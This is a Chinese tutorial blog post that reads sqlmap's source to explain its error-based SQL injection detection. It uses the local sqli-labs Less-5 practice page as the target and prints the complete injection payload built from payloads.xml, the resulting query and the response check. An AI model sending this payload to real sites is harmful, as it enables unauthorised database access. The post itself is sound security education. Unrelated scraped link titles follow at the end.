目标网址

http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1

Payload的生成

 1 <test>
 2     <title>MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause</title>
 3     <stype>2</stype>
 4     <level>1</level>
 5     <risk>0</risk>
 6     <clause>1</clause>
 7     <where>1</where>
 8     <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
 9     <request>
10         <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
11     </request>
12     <response>
13         <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
14     </response>
15     <details>
16         <dbms>MySQL</dbms>
17         <dbms_version>&gt;= 5.0</dbms_version>
18     </details>
19 </test>

该test xml元素是从文件payloads.xml提取出来的。

sqlmap会实现读取payloads.xml文件中的test元素,然后循环遍历,并生成相应的payload进行测试。

以上面的test为例,当遍历到该test的时候,在其子循环当中,还需要依次遍历boundary元素(都在payloads.xml文件中),并找到一个匹配的boundary。

何为匹配?

注意上面的test元素的子节点:where=1 和 clause=1

当且仅当某个boundary元素的where节点的值包含test元素的子节点,clause节点的值包含test元素的子节点的时候,该boundary才能和当前的test匹配,从而进一步生成payload。

例如:

1 <boundary>
2     <level>1</level>
3     <clause>1</clause>
4     <where>1,2</where>
5     <ptype>2</ptype>
6     <prefix>'</prefix>
7     <suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>
8 </boundary>

该boundary元素中的where节点的值为1,2,含有test元素的where节点的值(1)

并且,boundary元素中的clause节点的值为1,含有test元素的where节点的值(1)

因此,该boundary和test元素可以匹配。

test元素的payload的值为:

AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

最终的payload是根据test的payload子节点和boundary的prefix(前缀)、suffix(后缀)子节点的值组合而成的,即:

最终的payload =  url参数 + boundary.prefix+test.payload+boundary.suffix

将其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替换掉之后

则生成的payload类似如下:

Payload: id=1' AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'pujM'='pujM

其中:

  • URL参数:id=1
  • prefix:'
  • payload:AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
  • suffix:AND 'pujM'='pujM

最终生成的mysql语句为:

SELECT*
FROMusers
WHEREid = '1'
AND (SELECT1497FROM(SELECTCOUNT(*),CONCAT(CHAR (58, 101, 121, 111, 58),(SELECT(CASEWHEN (1497 = 1497) THEN1ELSE0END)),CHAR (58, 97, 98, 104, 58),FLOOR(RAND(0) * 2)) xFROMinformation_schema. TABLESGROUP BYx) a
)
AND 'pujM' = 'pujM'

如果,url:http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入的话,那么执行的时候就会报如下错误:

Duplicate entry ':eyo:1:abh:1' for key 'group_key'

源码解释

 1 # In case of error-based SQL injection
 2 elif method == PAYLOAD.METHOD.GREP:  3 # Perform the test's request and grep the response  4 # body for the test's <grep> regular expression  5 try:  6 page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)  7 output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \  8 or extractRegexResult(check, listToStrValue(headers.headers \  9 if headers else None), re.DOTALL | re.IGNORECASE) \ 10 or extractRegexResult(check, threadData.lastRedirectMsg[1] \ 11 if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ 12 threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) 13 14 if output: 15 result = output == "1" 16 if result: 17 infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) 18  logger.info(infoMsg) 19 20 injectable = True 21 22 except sqlmapConnectionException, msg: 23 debugMsg = "problem occured most likely because the " 24 debugMsg += "server hasn't recovered as expected from the " 25 debugMsg += "error-based payload used ('%s')" % msg 26 logger.debug(debugMsg)

将最终的payload传递给Request.queryPage函数执行并返回最终的执行结果page

test元素的grep子节点的值是一个正则表达式:<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

由前面的数据,我们知道

[DELIMITER_START]=:eyo:

[DELIMITER_STOP]  =:abh:

则最终生成的正则表达式为::eyo:(?P<result>.*?):abh:(每次生成都是不一样的,因为:eyo:和:abh:都是随机生成的)

将page和正则表达式传递给函数extractRegexResult

 1 def extractRegexResult(regex, content, flags=0):
 2     """
 3     Returns 'result' group value from a possible match with regex on a given
 4     content
 5     """
 6
 7     retVal = None
 8
 9     if regex and content and '?P<result>' in regex:
10         match = getCompiledRegex(regex, flags).search(content)
11
12         if match:
13             retVal = match.group("result")
14
15     return retVal

函数功能较简单,主要使用正则表达式判断是否包含指定的数据,如果有,则返回匹配的数据,没有,则返回None。

由前面的内容,可知,如果url可以注入的话,返回值retVal应该等于"1"

if output:result = output == "1"if result:infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)logger.info(infoMsg)injectable = True

而使用正则::eyo:(?P<result>.*?):abh:来匹配Duplicate entry ':eyo:1:abh:1' for key 'group_key'的结果为:1

故,url:http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入

建议阅读

关于Mysql注入过程中的五种报错方式及具体利用案例

版权

作       者:曾是土木人

新浪微博:http://weibo.com/cstmr

转载请注明出处:http://www.cnblogs.com/hongfei/p/sqlmap-error-based-blind.html

Python:SQLMap源码精读—基于错误的盲注(error-based blind)相关推荐

  1. sqlmap中的php,python - sqlmap源码中的一个问题

    我最近在使用sqlmap时总是遇到[error]user quit的报错.重装了sqlmap也一样.源码处定位到了报错信息,但还是看不懂报错原因.求大神指教.(和图片上sqlmap报错无关,不管是什么 ...

  2. 用python做炒股软件-python程序源码_基于python的炒股软件

    股票模拟交易系统设计与实现 不但能够进行界面的设计,还可以实现各个窗口的关联,通过WPF实现和其余窗口的关联,而且WPF中的类不但能够和其中一个窗口进行关联,还可以跟许多功能操作接口,WPF在对窗口对 ...

  3. php基于错误的盲注,盲注基本原理

    最近找到一个带有注入的美国网站,发现是盲注,简单讲讲盲注的原理. 1.xxx.com/index.php?ID=79这个位置单引号报错,并且直接给出错误信息: SQL: SELECT *FROM ca ...

  4. 智能优化算法之遗传算法(GA)的实现(基于二进制编码,Python附源码)

    文章目录 一.遗传算法的实现思路 二.基于二进制编码方式的遗传算法的实现 1.库的导入 2.目标函数 3.个体编码函数 4.个体解码函数 5.选择函数 6.交叉函数 7.变异函数 8.算法主流程 一. ...

  5. Python仓库管理系统源代码,库存管理系统源码,基于flask,内含数据库文件,已实现出入库、库存预警,库存搜索等功能

    Python仓库管理系统源代码,库存管理系统源码,基于flask,内含数据库文件,已实现出入库.库存预警,库存搜索等功能 已实现三大功能:库存管理(出库.入库.低库存预警.物品搜索),预算统计,出入库 ...

  6. python内存管理和释放_《python解释器源码剖析》第17章--python的内存管理与垃圾回收...

    17.0 序 内存管理,对于python这样的动态语言是至关重要的一部分,它在很大程度上决定了python的执行效率,因为在python的运行中会创建和销毁大量的对象,这些都设计内存的管理.同理pyt ...

  7. sql 注入神器sqlmap 源码分析之调试sqlmap

    为什么80%的码农都做不了架构师?>>>    相信大家平时 用sqlmap 命令,比如 python sqlmap.py -u"https://team.oschina. ...

  8. sqlmap源码阅读系列检查是否满足依赖

    sqlmap --dependencies 可以用来检查sqlmap需要使用的一些依赖是否满足. 通过阅读源码我们知道了,核心是__import__()函数. 异常:ImportError __imp ...

  9. sqlmap源码入门笔记系列

    sqlmap简介 sqlmap是一个开源的渗透测试工具,可以用来探测sql注入漏洞. sqlmap的源码 sqlmap源码就像是九阴真经一样,梅超风只是偷看了九阴真经的皮毛,就可以在江湖上掀起一阵腥风 ...

最新文章

  1. OAuth 2 实现单点登录,通俗易懂!
  2. Win7系统中同时安装了python2.x和python3.x,如何设置默认启动的python版本
  3. 【技术综述】深度学习在自然语言处理中的应用发展史
  4. socket中的nagle算法
  5. [Windows]python+PyQT+Eric安装配置
  6. Spring Boot文档阅读笔记-Creating Asynchronous Methods解析
  7. ipython是一个交互式计算机系统_IPython 1.0发布,强大的Python交互式Shell
  8. 推荐一些学习SEO的优秀书籍附pdf电子书下载地址
  9. 14种DLL注入技术
  10. macOS Windows版本 Photoshop 下载 AI下载
  11. python实现计算器功能、输入加减乘除、不是就跳出_使用Python实现计算器功能
  12. c语言short a=32768,C语言中short整型资料的范围“-32768——32767”中的“-32768”是如何确定的?...
  13. 食用卵磷脂市场现状及未来发展趋势
  14. 佳沛金果水果的文案,水果佳沛金果文案高级感
  15. 在 CentOS 7.6 上打包 Android Package APK
  16. ubuntu18.04 升级内核后,进入系统页面卡在“started gnome display manager“的解决方案
  17. 海天蚝油《挑战不可能》迎来真·火眼金睛的潜艇雷达兵
  18. 面试必看的注意事项在这里!
  19. 这些专业是考研大户!
  20. 自制力的本质是什么?怎样才能变得自律?

热门文章

  1. mysql延迟判断模板
  2. angular2 学习笔记 ( Http 请求)
  3. Oracle date 和 timestamp 区别
  4. 百度搜索结果图文标识规则分析
  5. 在linux上使用cvs命令
  6. 酶促反应动力学_酶促反应动力学实验
  7. 5G NGC — GTPv1-U 协议的扩展
  8. Linux_文件系统磁盘分区
  9. App3种开发方式的优劣分析:原生、混合和H5
  10. ELK 环境搭建1-Elasticsearch